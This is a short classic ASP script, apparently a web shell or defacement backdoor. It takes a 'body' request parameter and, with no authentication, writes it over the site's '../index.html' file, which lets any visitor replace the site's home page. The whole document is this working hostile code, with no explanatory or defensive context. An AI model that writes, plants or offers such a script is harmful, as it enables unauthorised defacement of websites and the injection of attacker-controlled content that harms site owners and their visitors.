<% filename="../index.html" if request("body")<>""then body=request("body") Set fso = Server.CreateObject("Scripting.FileSystemObject") Set fout = fso.CreateTextFile(server.mappath(""&filename&"")) fout.Write body fout.close set fout=nothing set fso=nothing endif %>